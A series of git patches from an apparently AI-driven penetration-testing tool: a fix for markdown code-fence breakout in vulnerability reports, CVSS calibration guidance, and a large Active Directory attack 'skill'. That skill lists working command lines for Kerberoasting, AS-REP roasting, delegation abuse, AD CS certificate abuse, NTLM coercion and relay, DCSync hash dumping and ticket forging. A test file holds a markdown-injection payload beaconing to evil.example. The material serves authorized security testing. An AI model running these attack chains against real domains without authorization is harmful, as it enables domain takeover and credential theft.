Mon Sep 17 00:00:00 2001 From: Thejesh Reddy <35212698+thejesh23@users.noreply.github.com> Date: Mon, 20 Jul 2026 19:07:44 -0700 Subject: [PATCH 005/262] fix(report): prevent code-fence breakout in vulnerability markdown (#817) * fix(report): prevent code-fence breakout in vulnerability markdown render_vulnerability_md wrapped LLM-authored poc_script_code and code snippet values in a fixed three-backtick fence, so a triple-backtick inside the value closed the fence early and the rest rendered as live markdown (headings, tracking-beacon images) in the shareable report deliverable. Open each such block with a fence one backtick longer than the longest backtick run in the payload (CommonMark: a block closes only on a fence at least as long as the opener), so the content always renders verbatim. The adjacent ```diff block is already safe (its lines are '- '/'+ ' prefixed and so can never be a bare-backtick closing fence) and is left unchanged. Fixes #815 * fix(report): indent multiline snippets --------- Co-authored-by: thejesh23 Co-authored-by: Alex Schapiro --- strix/report/writer.py | 30 ++++++++++++++++++++++++++---- tests/test_report_writer.py | 22 ++++++++++++++++++++++ 2 files changed, 48 insertions(+), 4 deletions(-) diff --git a/strix/report/writer.py b/strix/report/writer.py index 6fefefdb..68679263 100644 --- a/strix/report/writer.py +++ b/strix/report/writer.py @@ -6,6 +6,7 @@ import csv import io import json import logging +import re import tempfile from datetime import UTC, datetime from pathlib import Path @@ -18,6 +19,21 @@ logger = logging.getLogger(__name__) _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} +_BACKTICK_RUN = re.compile(r"`+") + + +def _safe_fence(content: str) -> str: + """Return a backtick fence that ``content`` cannot break out of. + + Per CommonMark a fenced code block is closed only by a run of backticks at + least as long as the opening fence. LLM-authored, attacker-influenced values + (PoC scripts, code snippets) may contain their own ``` runs, so we open with + a fence one backtick longer than the longest run inside ``content`` (never + fewer than three). Everything in ``content`` then renders verbatim. + """ + longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0) + return "`" * max(3, longest + 1) + def read_run_record(run_dir: Path) -> dict[str, Any]: path = run_record_path(run_dir) @@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL lines.append(str(report["poc_description"])) lines.append("") if report.get("poc_script_code"): - lines.append("```") - lines.append(str(report["poc_script_code"])) - lines.append("```") + code = str(report["poc_script_code"]) + fence = _safe_fence(code) + lines.append(fence) + lines.append(code) + lines.append(fence) lines.append("") if report.get("code_locations"): @@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL if loc.get("label"): lines.append(f" {loc['label']}") if loc.get("snippet"): - lines.append(f" ```\n {loc['snippet']}\n ```") + snippet = str(loc["snippet"]) + fence = _safe_fence(snippet) + lines.append(f" {fence}") + lines.extend(f" {ln}" for ln in snippet.splitlines()) + lines.append(f" {fence}") if loc.get("fix_before") or loc.get("fix_after"): lines.append("\n **Suggested Fix:**") lines.append("```diff") diff --git a/tests/test_report_writer.py b/tests/test_report_writer.py index 3ef16ccf..b9d855a0 100644 --- a/tests/test_report_writer.py +++ b/tests/test_report_writer.py @@ -113,6 +113,28 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None: assert "## Assumptions" in md +def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None: + # LLM/target-authored PoC content containing its own ``` must not close the + # fence early and turn the injected markdown into live headings/images. + injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)" + md = render_vulnerability_md(_sample_report(poc_script_code=injected)) + lines = md.split("\n") + fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip()) + assert set(fence) == {"`"} + assert len(fence) >= 4 # wider than the payload's 3-backtick run + assert injected in md # the payload survives verbatim, inside the fence + + +def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None: + snippet = "row = q()\n```\n## Injected" + md = render_vulnerability_md( + _sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]), + ) + assert ( + " ````\n row = q()\n ```\n ## Injected\n ````" + ) in md # indented fence widened past the payload's ``` run + + def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None: reports = [ _sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"), From ad27f0c67e9d3a11174ca9e4358bc8922ea9d093 Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Tue, 21 Jul 2026 09:17:22 -0400 Subject: [PATCH 006/262] =?UTF-8?q?docs(reporting):=20add=20CVSS=20calibra?= =?UTF-8?q?tion=20guidance=20to=20reduce=20severity=20inf=E2=80=A6=20(#821?= =?UTF-8?q?)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs(reporting): add CVSS calibration guidance to reduce severity inflation The create_vulnerability_report tool documents the cvss_breakdown format but gives no guidance on choosing metric values, so findings are frequently over-rated. Add a concise calibration block covering the most common inflation mistakes: scoring scenarios that presuppose the attacker already holds a stolen secret as unauthenticated (PR:N) criticals, using C:H/I:H for single-user or read-only/enumeration impact, folding a chained worst case into one vector, and ignoring adversary-in-the-middle or user-interaction prerequisites. * docs(reporting): drop 'one weakness per report' calibration bullet --- strix/tools/reporting/tool.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/strix/tools/reporting/tool.py b/strix/tools/reporting/tool.py index b6f284ca..d6b6b209 100644 --- a/strix/tools/reporting/tool.py +++ b/strix/tools/reporting/tool.py @@ -422,6 +422,30 @@ async def create_vulnerability_report( "availability": "H" } + **CVSS calibration** — score the weakness you actually proved, not a + hypothetical worst case. Most over-rating comes from these mistakes: + + - **Don't presuppose a separate compromise.** If exploitation + requires the attacker to already hold a victim secret (a stolen + session cookie/token, a leaked one-time link, intercepted traffic), + that acquisition is not free. Do not score it as + ``privileges_required:N`` with ``attack_complexity:L`` as if + directly reachable, and do not rate a replay-of-captured-secret + issue High/Critical unless the *same* finding demonstrates a + concrete way to obtain that secret. Issues like a session that + survives logout or a replayable link are session-management / + defense-in-depth weaknesses — usually Low/Medium on their own. + - **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` / + ``I:H`` require proof of wide or systemic read/write. A single + user's data, a read-only information leak, or merely confirming + that an account / domain / software version *exists* (enumeration) + is ``C:L`` (often ``I:N``) — not ``C:H``. + - **Model required position and interaction honestly.** An + adversary-in-the-middle prerequisite (e.g. cleartext transmission) + or a required victim action is not guaranteed — reflect it in + ``attack_complexity`` / ``user_interaction`` instead of assuming the + ideal condition always holds. + **CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``, ``CWE-89``) — no name, no parenthetical. Be 100% certain; if unsure, use ``web_search`` to verify the ID before passing, or omit From 6a3e0597ce5846c5c392ac3099ba6b85b0a4b777 Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Tue, 21 Jul 2026 10:59:28 -0400 Subject: [PATCH 007/262] docs(skills): add Active Directory / Kerberos domain testing skill (#825) * docs(skills): add Active Directory / Kerberos domain testing skill * docs(skills): fix AD skill collector package + split invalid pipx install --- strix/skills/technologies/active_directory.md | 233 ++++++++++++++++++ 1 file changed, 233 insertions(+) create mode 100644 strix/skills/technologies/active_directory.md diff --git a/strix/skills/technologies/active_directory.md b/strix/skills/technologies/active_directory.md new file mode 100644 index 00000000..6a14049b --- /dev/null +++ b/strix/skills/technologies/active_directory.md @@ -0,0 +1,233 @@ +--- +name: active_directory +description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping +--- + +# Active Directory + +Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it. + +## Attack Surface + +**Core services (per domain controller)** +- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269) +- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139) +- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS) +- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers +- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES) + +**Principals & objects** +- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts +- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink` +- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf) + +**Trust boundaries** +- Intra-forest (parent/child), inter-forest, external, SID history +- `MachineAccountQuota` (default 10 → any user can join computer accounts) + +## Reconnaissance + +**Anonymous / pre-auth (no creds)** +``` +# Domain + naming context from LDAP rootDSE +nmap -Pn -p 389 --script ldap-rootdse +# SMB null session / signing / OS +nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" +enum4linux-ng -A +# Username-less user enum via Kerberos pre-auth +kerbrute userenum -d --dc users.txt +``` + +**Authenticated enumeration (any valid user)** +``` +nxc ldap -u -p # confirm creds + domain info +nxc smb -u -p --shares # readable/writable shares +nxc ldap -u -p --users --groups --pass-pol +ldapdomaindump ldap:// -u '\' -p +``` + +**BloodHound graph (the single most valuable step)** +``` +bloodhound-ce-python -d -u -p -c All -ns --zip +# or, remote SharpHound-equivalent collector: +nxc ldap -u -p --bloodhound --collection-method All --dns-server +``` +Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else. + +## Key Vulnerabilities + +### Kerberos Roasting + +**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable. +``` +nxc ldap -u -p --kerberoasting kerb.txt +# or impacket +GetUserSPNs.py -request -dc-ip /: -outputfile kerb.txt +hashcat -m 13100 kerb.txt wordlist.txt +``` + +**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known. +``` +GetNPUsers.py / -usersfile users.txt -no-pass -dc-ip +hashcat -m 18200 asrep.txt wordlist.txt +``` + +**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it. + +### Delegation Abuse + +- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync. +- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access. +- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host. +``` +# RBCD chain +addcomputer.py -computer-name FAKE$ -computer-pass P@ss /: +rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write /: +getST.py -spn cifs/target. -impersonate Administrator /FAKE$:P@ss +``` + +### AD Certificate Services (ESC1-ESC17) + +AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows: +``` +certipy find -u @ -p -dc-ip -vulnerable -stdout +``` +- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`: + ``` + certipy req -u @ -p -ca -template -upn administrator@ + certipy auth -pfx administrator.pfx -dc-ip # → NT hash / TGT + ``` +- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync. +- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each. + +### NTLM Coercion & Relay + +Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB). +``` +# 1. Start the relay (LDAP → RBCD, or AD CS → cert) +ntlmrelayx.py -t ldap:// --delegate-access --no-dump +ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs --template DomainController +# 2. Coerce a target to authenticate +coercer coerce -u -p -t -l +PetitPotam.py -u -p # MS-EFSR +printerbug.py /:@ # MS-RPRN +``` +LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay. + +### DACL / Object Abuse + +From BloodHound edges: +- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash). +- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object. +- **ForceChangePassword** → reset a target's password. +- **AddMember** on a privileged group → self-add. +- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs. +``` +# Shadow Credentials (no password reset needed, stealthier) +certipy shadow auto -u @ -p -account -dc-ip +# bloodyAD for generic DACL edits +bloodyAD -u -p -d --host add genericAll +``` + +### Credential Access & Domain Dominance + +- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`: + ``` + secretsdump.py /:@ -just-dc-user krbtgt + nxc smb -u -p --ntds # full NTDS.dit + ``` +- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence. +- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext. +- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds. + +### Known unauthenticated CVEs (patch-dependent) + +- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs. +- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC. +- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413). +Confirm with a version/patch check before firing — these are destructive. + +## Advanced Techniques + +- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it). +- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched. +- **SID history injection** across trusts for cross-domain/forest escalation. +- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution. +- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP. + +## Testing Methodology + +1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy. +2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths. +3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL. +4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph. +5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter). +6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed. +7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first. +8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope. + +## Validation + +1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output. +2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync. +3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop. +4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured". +5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding. + +## False Positives + +- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own. +- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields). +- Delegation flags present but the account is disabled or the target SPN is unreachable. +- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable. +- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable". +- "Writable" share that only exposes a redirected/quarantined path with no useful content. + +## Impact + +- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data. +- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history. +- Lateral movement to every domain-joined host (file servers, databases, hypervisors). +- Ransomware blast radius — DA is the standard pivot for domain-wide deployment. + +## Pro Tips + +1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes. +2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds. +3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed. +4. Fix clock skew before Kerberos work: `sudo ntpdate ` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops. +5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs. +6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules. +7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML). + +## Tooling + +**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first. + +``` +# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd) +pipx install impacket +pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds +pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials +pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor) +pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP) +pipx install bloodyAD # DACL / LDAP object edits over LDAP +pipx install ldapdomaindump # LDAP dumper (bloodhound.py author) +go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute + +# Kali apt packages +sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john +``` + +- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`. +- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging). +- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set. +- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential. +- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target). +- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`). + +Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`). + +## Summary + +AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall. From f600f99103a3fb795064a6acb51dca73346957e2 Mon Sep 17 00:00:00 2001 From: yoni-at-strix Date: Tue, 21 Jul 2026 11:13:03 -0400 Subject: [PATCH 008/262] Local run viewer: email reports, run history, and the platform suite (#813) --- .gitignore | 16 +- CONTRIBUTING.md | 14 + Makefile | 8 +- README.md | 25 + pyproject.toml | 18 + strix.spec | 33 +- strix/config/settings.py | 10 + strix/core/paths.py | 17 + strix/interface/assets/tui_styles.tcss | 10 + strix/interface/main.py | 71 +- strix/interface/tui/app.py | 76 +- strix/interface/tui/history.py | 20 +- strix/telemetry/posthog.py | 38 + strix/viewer/__init__.py | 12 + strix/viewer/auth.py | 251 + strix/viewer/cli.py | 142 + strix/viewer/frontend/index.html | 14 + strix/viewer/frontend/package-lock.json | 4272 +++++++++++++++++ strix/viewer/frontend/package.json | 34 + strix/viewer/frontend/public/logo.png | Bin 0 -> 3801 bytes strix/viewer/frontend/src/App.tsx | 810 ++++ .../src/components/AddRepositoryDialog.tsx | 20 + .../src/components/EmailReportView.tsx | 375 ++ .../src/components/EmailVerifyInline.tsx | 163 + .../frontend/src/components/FeatureDetail.tsx | 96 + .../src/components/IssueSeveritySummary.tsx | 77 + .../frontend/src/components/PastRunsView.tsx | 176 + .../viewer/frontend/src/components/ProCta.tsx | 184 + .../frontend/src/components/RunDetails.tsx | 200 + .../frontend/src/components/Sidebar.tsx | 289 ++ .../frontend/src/components/TrustToast.tsx | 51 + .../src/components/live/AgentDetailModal.tsx | 117 + .../src/components/live/AgentGraph.tsx | 254 + .../src/components/live/AgentNode.tsx | 48 + .../src/components/live/AgentTranscript.tsx | 302 ++ .../src/components/live/GraphSkeleton.tsx | 70 + .../components/live/ScanPromptComposer.tsx | 315 ++ .../tool-renderers/AgentCommsRenderer.tsx | 92 + .../tool-renderers/ApplyPatchRenderer.tsx | 124 + .../live/tool-renderers/BrowserRenderer.tsx | 110 + .../live/tool-renderers/ChatBubble.tsx | 25 + .../live/tool-renderers/FallbackRenderer.tsx | 36 + .../live/tool-renderers/FileEditRenderer.tsx | 65 + .../live/tool-renderers/FinishRenderer.tsx | 32 + .../live/tool-renderers/LoadSkillRenderer.tsx | 20 + .../live/tool-renderers/Markdown.tsx | 24 + .../live/tool-renderers/NotesRenderer.tsx | 87 + .../live/tool-renderers/ProxyRenderer.tsx | 250 + .../live/tool-renderers/PythonRenderer.tsx | 68 + .../live/tool-renderers/ScanInfoRenderer.tsx | 46 + .../live/tool-renderers/TerminalRenderer.tsx | 131 + .../live/tool-renderers/ThinkRenderer.tsx | 18 + .../live/tool-renderers/TodoRenderer.tsx | 120 + .../live/tool-renderers/ToolCard.tsx | 100 + .../live/tool-renderers/ViewImageRenderer.tsx | 30 + .../tool-renderers/VulnReportRenderer.tsx | 73 + .../live/tool-renderers/WebSearchRenderer.tsx | 24 + .../components/live/tool-renderers/index.ts | 173 + .../components/live/tool-renderers/utils.ts | 3 + .../vulnerability/CodeDiffBlock.tsx | 114 + .../vulnerability/ContentSection.tsx | 27 + .../components/vulnerability/IssueSidebar.tsx | 277 ++ .../components/vulnerability/MdCodeBlock.tsx | 141 + .../src/components/vulnerability/PocBlock.tsx | 77 + .../vulnerability/VulnerabilityDetail.tsx | 265 + .../viewer/frontend/src/data/serverSource.ts | 237 + strix/viewer/frontend/src/index.css | 173 + strix/viewer/frontend/src/lib/cta.ts | 43 + .../viewer/frontend/src/lib/display-number.ts | 12 + strix/viewer/frontend/src/lib/hljs.ts | 14 + .../frontend/src/lib/local-run-parser.ts | 325 ++ strix/viewer/frontend/src/lib/pro-features.ts | 174 + strix/viewer/frontend/src/lib/target-utils.ts | 61 + strix/viewer/frontend/src/lib/utils.ts | 124 + .../frontend/src/lib/vulnerability-utils.ts | 196 + strix/viewer/frontend/src/main.tsx | 10 + strix/viewer/frontend/src/stores/auth.ts | 16 + strix/viewer/frontend/src/types/events.ts | 102 + strix/viewer/frontend/src/types/issues.ts | 197 + strix/viewer/frontend/tsconfig.json | 25 + strix/viewer/frontend/vite.config.ts | 21 + strix/viewer/report_pdf.py | 618 +++ strix/viewer/server.py | 569 +++ strix/viewer/static/assets/index-BU_tk5L-.js | 517 ++ strix/viewer/static/assets/index-C0NveaV7.css | 10 + strix/viewer/static/index.html | 15 + strix/viewer/static/logo.png | Bin 0 -> 3801 bytes strix/viewer/transcript.py | 106 + tests/test_report_pdf.py | 105 + tests/test_viewer.py | 503 ++ tests/test_viewer_auth.py | 167 + tests/test_viewer_runs_gating.py | 89 + uv.lock | 3037 ++++++------ 93 files changed, 17164 insertions(+), 1482 deletions(-) create mode 100644 strix/viewer/__init__.py create mode 100644 strix/viewer/auth.py create mode 100644 strix/viewer/cli.py create mode 100644 strix/viewer/frontend/index.html create mode 100644 strix/viewer/frontend/package-lock.json create mode 100644 strix/viewer/frontend/package.json create mode 100644 strix/viewer/frontend/public/logo.png create mode 100644 strix/viewer/frontend/src/App.tsx create mode 100644 strix/viewer/frontend/src/components/AddRepositoryDialog.tsx create mode 100644 strix/viewer/frontend/src/components/EmailReportView.tsx create mode 100644 strix/viewer/frontend/src/components/EmailVerifyInline.tsx create mode 100644 strix/viewer/frontend/src/components/FeatureDetail.tsx create mode 100644 strix/viewer/frontend/src/components/IssueSeveritySummary.tsx create mode 100644 strix/viewer/frontend/src/components/PastRunsView.tsx create mode 100644 strix/viewer/frontend/src/components/ProCta.tsx create mode 100644 strix/viewer/frontend/src/components/RunDetails.tsx create mode 100644 strix/viewer/frontend/src/components/Sidebar.tsx create mode 100644 strix/viewer/frontend/src/components/TrustToast.tsx create mode 100644 strix/viewer/frontend/src/components/live/AgentDetailModal.tsx create mode 100644 strix/viewer/frontend/src/components/live/AgentGraph.tsx create mode 100644 strix/viewer/frontend/src/components/live/AgentNode.tsx create mode 100644 strix/viewer/frontend/src/components/live/AgentTranscript.tsx create mode 100644 strix/viewer/frontend/src/components/live/GraphSkeleton.tsx create mode 100644 strix/viewer/frontend/src/components/live/ScanPromptComposer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/AgentCommsRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ApplyPatchRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/BrowserRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ChatBubble.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/FallbackRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/FileEditRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/FinishRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/LoadSkillRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/Markdown.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/NotesRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ProxyRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/PythonRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ScanInfoRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/TerminalRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ThinkRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/TodoRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ToolCard.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/ViewImageRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/VulnReportRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/WebSearchRenderer.tsx create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/index.ts create mode 100644 strix/viewer/frontend/src/components/live/tool-renderers/utils.ts create mode 100644 strix/viewer/frontend/src/components/vulnerability/CodeDiffBlock.tsx create mode 100644 strix/viewer/frontend/src/components/vulnerability/ContentSection.tsx create mode 100644 strix/viewer/frontend/src/components/vulnerability/IssueSidebar.tsx create mode 100644 strix/viewer/frontend/src/components/vulnerability/MdCodeBlock.tsx create mode 100644 strix/viewer/frontend/src/components/vulnerability/PocBlock.tsx create mode 100644 strix/viewer/frontend/src/components/vulnerability/VulnerabilityDetail.tsx create mode 100644 strix/viewer/frontend/src/data/serverSource.ts create mode 100644 strix/viewer/frontend/src/index.css create mode 100644 strix/viewer/frontend/src/lib/cta.ts create mode 100644 strix/viewer/frontend/src/lib/display-number.ts create mode 100644 strix/viewer/frontend/src/lib/hljs.ts create mode 100644 strix/viewer/frontend/src/lib/local-run-parser.ts create mode 100644 strix/viewer/frontend/src/lib/pro-features.ts create mode 100644 strix/viewer/frontend/src/lib/target-utils.ts create mode 100644 strix/viewer/frontend/src/lib/utils.ts create mode 100644 strix/viewer/frontend/src/lib/vulnerability-utils.ts create mode 100644 strix/viewer/frontend/src/main.tsx create mode 100644 strix/viewer/frontend/src/stores/auth.ts create mode 100644 strix/viewer/frontend/src/types/events.ts create mode 100644 strix/viewer/frontend/src/types/issues.ts create mode 100644 strix/viewer/frontend/tsconfig.json create mode 100644 strix/viewer/frontend/vite.config.ts create mode 100644 strix/viewer/report_pdf.py create mode 100644 strix/viewer/server.py create mode 100644 strix/viewer/static/assets/index-BU_tk5L-.js create mode 100644 strix/viewer/static/assets/index-C0NveaV7.css create mode 100644 strix/viewer/static/index.html create mode 100644 strix/viewer/static/logo.png create mode 100644 strix/viewer/transcript.py create mode 100644 tests/test_report_pdf.py create mode 100644 tests/test_viewer.py create mode 100644 tests/test_viewer_auth.py create mode 100644 tests/test_viewer_runs_gating.py diff --git a/.gitignore b/.gitignore index 895fe898..2e4e4e61 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,25 @@ +# Node / local-viewer SPA source (the built bundle in +# strix/viewer/static/ is committed and shipped; do not ignore it) +node_modules/ 